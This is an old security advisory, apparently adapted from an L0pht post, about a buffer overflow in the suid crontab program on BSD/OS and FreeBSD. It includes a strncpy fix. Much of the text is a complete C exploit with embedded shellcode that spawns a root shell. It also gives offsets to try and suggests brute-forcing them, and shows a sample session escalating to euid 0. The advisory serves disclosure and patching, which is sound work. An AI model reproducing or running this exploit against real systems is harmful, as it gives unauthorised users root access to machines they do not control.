Vulnerability

    crontab

Affected

    BSD/OS, FreeBSD

Description

    (Most of text  used here is  by mudge@l0pht.com and  their (l0pht)
    advisory)  Due  to a problem  with the code  in crontab, a  buffer
    overflow exists that  allows a user  to overwrite the  information
    in  a  saved  stack  frame.  When  the function returns, the saved
    frame is popped  off of the  stack and user  supplied code can  be
    executed.

        Example:

        > id
        uid=621 (mudge) gid=200(users)
        > ./cronny -92
        Using offset (0xefbfdbc8)
        # id
        uid=621 (mudge) euid=0(root) gid=200(users)

    When crontab, a suid root program, is run with just a filename  as
    it's  only  argument  the  argument  is  copied  into the variable
    Filename[MAX_FNAME].   Since  this  copy  is  done  via strcpy, no
    bounds checking is done on  the length of the string  being handed
    in.  The code snippit from crontab.c is as follows:


        static char      Filename[MAX_FNAME];
        ...

        [ from parse_args(argc, argc) ]
        if (argv[optind] != NULL) {
          Option = opt_replace;
          (void) strcpy (Filename, argv[optind]);
        }

    By placing a  sufficently sized string  in argv[1] it  is possible
    to overwrite the  saved frame on  the stack and,  upon return from
    the routine execute machine codes of the users contruction.

    Exploit code:

/********************************************************************
 * crontab buffer overflow code - mudge@l0pht.com                   *
 * 10/12/96                                                         *
 *                                                                  *
 * So I was sitting here thinking... I know, it's a dangerous thing *
 * and you ever notice that hackers seem to have a surplus of time  *
 * on their hands? Well, I don't but hopefully if I keep coming out *
 * with things like this it will help to perpetuate the myth.       *
 *                                                                  *
 * There is a really cool buffer overflow in crond that bitwrior    *
 * spotted. So I figured that since the same person, Paul Vixie,    *
 * wrote crontab too that the same type of errors would probably be *
 * there. Sure enough!                                              *
 *                                                                  *
 * Ya gotta love command line overflows... just yank the code from  *
 * any existing one and brute on the new program. This is almost    *
 * verbatim from my modstat overflow.                               *
 *                                                                  *
 * try with offsets of -92, -348, 164, 296, 351 with the way this   *
 * is currently setup. If these fail, brute force it <grin>.     *
 *******************************************************************/

#include <stdio.h>
#include <stdlib.h>

long get_esp(void)
{
   __asm__("movl %esp, %eax\n");
}

main(int argc, char **argv)
{
   int i, j, offset;
   char *bar, *foo;
   unsigned long *esp_plus = NULL;


   char mach_codes[] =
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";


   if (argc == 2)
     offset = atoi(argv[1]);

   bar = malloc(4096);
   if (!bar){
     fprintf(stderr, "failed to malloc memory\n");
     exit(1);
   }

   foo = bar;  /* copy of original ptr */

   esp_plus = (long *)bar;
   for(i=0; i<1024; i++)
     *(esp_plus++) = (get_esp() + offset);

   printf("Using offset (0x%x)\n", (get_esp() + offset));

   bar = (char *)esp_plus;

   for(j=0; j<strlen(mach_codes); j++)
     *(bar++) = mach_codes[j];

   *bar = 0;

   execl("/usr/bin/crontab", "crontab", foo, NULL);
}


Solution

    One  fix  to  the  above  problem  is to replace the strcpy() with
    strncpy().

    if (argv[optind] != NULL) {
      Option = opt_replace;
      (void) strncpy(Filename, argv[optind], sizeof(Filename));
    }

    However, this only takes care  of _one_ of the exploitable  buffer
    overflows in crontab.